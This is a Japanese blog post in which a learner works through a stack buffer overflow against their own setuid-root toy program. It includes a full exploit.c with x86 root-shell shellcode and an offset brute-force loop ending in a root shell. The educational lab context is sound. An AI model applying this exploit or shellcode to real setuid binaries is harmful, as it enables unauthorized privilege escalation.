自力でexploitが書けた!

Hacking: 美しき策謀 ―脆弱性攻撃の理論と実際

Hacking: 美しき策謀 ―脆弱性攻撃の理論と実際

の第2章まで読んだ.
Exploitを書くのにもいろんな方法があるんだと感動.特に,ポリモーフィックシェルコードが芸術的.凄い!

それで,こんなにいろいろなやり方があるのにid:MaD:20070211であっさり諦めてしまったのを情けなく感じたのでもう一度挑戦することにしました.
まず,攻撃を仕掛けるコードは以下のシンプルなもの.

/* vuln.c */
int main(int argc, char *argv[]){
  char buffer[200];
  strcpy(buffer, argv[1]);
  return 0;
}

通常のやり方はbufferをオーバーフローさせてmainからの戻りアドレスを書換える方法.本書に書いてある内容も同じ.

だけども,最新のgccコンパイルしたバイナリではこの方法が通用しないというのがid:Mad:20070211での結論でした.本書に書いてある方法ももちろん使えません.
しかし他にやり方があるのではと思って調査しました.

上のコードのアセンブリを解析し,デバッガで追って割り出したmainのスタックフレームの構造.

RET:mainからの戻りアドレス.
EBP:呼び出し元のEBPを保存
( )内はバイト数

<- 低位アドレス                                                       高位アドレス ->
| buffer(200) | xxxx(4) | EBP(4) | RET(4) | SFP(4*?) | EBP(4) | RET(4) | argc(4) | argv(4) |

この中で問題の箇所はxxxxの部分です.昔のスタックフレームならbufferの直後にSFPが来ていたというところが異なっています.
return直前の流れは

  1. esp = xxxx - 4
  2. ret

となります.アドレス(xxxx-4)にある値をPOPしてその値をアドレスとする地点に戻るということです.
なので,どこかにシェルコードのアドレスを保存しておいて,(保存場所のアドレス+4)をxxxxにオーバーフローで書き込めばOKのはずです.

ここまで分かればいくらでも攻撃方法はあると思います.
ここでは簡単の為Nop Sledなどを使わないでピンポイントに攻撃をします.

私が取った方法は

  1. xxxxにはxxxxがある場所そのもののアドレスを入れる(これはbuffer+200と等しい)
  2. そうするとbufferの最後の4バイトにシェルコードのアドレスを入れれば良い
  3. シェルコードはバッファの先頭から入れる

以上よりexploitのコードは下のようになります.

/* exploit.c */
#include <stdlib.h>

/* uid,gidを0(root)に設定して/bin/shを実行するコード */
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

/* スタックポインタの値を取得 */
unsigned long get_sp(){
  __asm__("movl %esp, %eax");
}

int main(int argc, char *argv[]){
  int i, offset;
  long esp, ret;
  char *work;

  offset = atoi(argv[1]);
  esp = get_sp();

  /* 
   * スタックは低位に伸びるので適当なオフセットを引いてやれば
   * どこかでbufferの先頭アドレスと一致する
   */
  ret = esp - offset;

  work = malloc(205); /* buffer(200byte) + xxxx(4byte) + \0 */
  memset(work, 1, 205); /* バッファ内にNULLがないようにする為 */

  *(long*)(work + 196) = ret;
  *(long*)(work + 200) = ret + 200;

  for(i = 0; i < strlen(shellcode); ++i){
    work[i] = shellcode[i];
  }
  work[204] = '\0';

  execl("./vuln", "vuln", work, 0);

  free(work);
  return 0;
}

テスト

% gcc vuln.c -o vuln
% sudo chown root:root vuln
% sudo chmod u+s vuln
% gcc exploit.c -o exploit
   手当たり次第にoffsetを与えて実行
% ruby -e '(0..500).each {|i| puts i; system("./exploit #{i}")}'
0
1
2
...
163
164
sh-3.1# id
uid=0(root) gid=1001(mad) groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1001(mad)
   rootになれました

ということでexploit出来ました.
確かに普通のやり方より面倒にはなっているけど結局espに任意の値を入れられる訳だから,むしろ前より危険になちゃってるのではないかと思うのですが.どうなんだろ.
esp操作後はすぐにretするので問題にはならなそうです.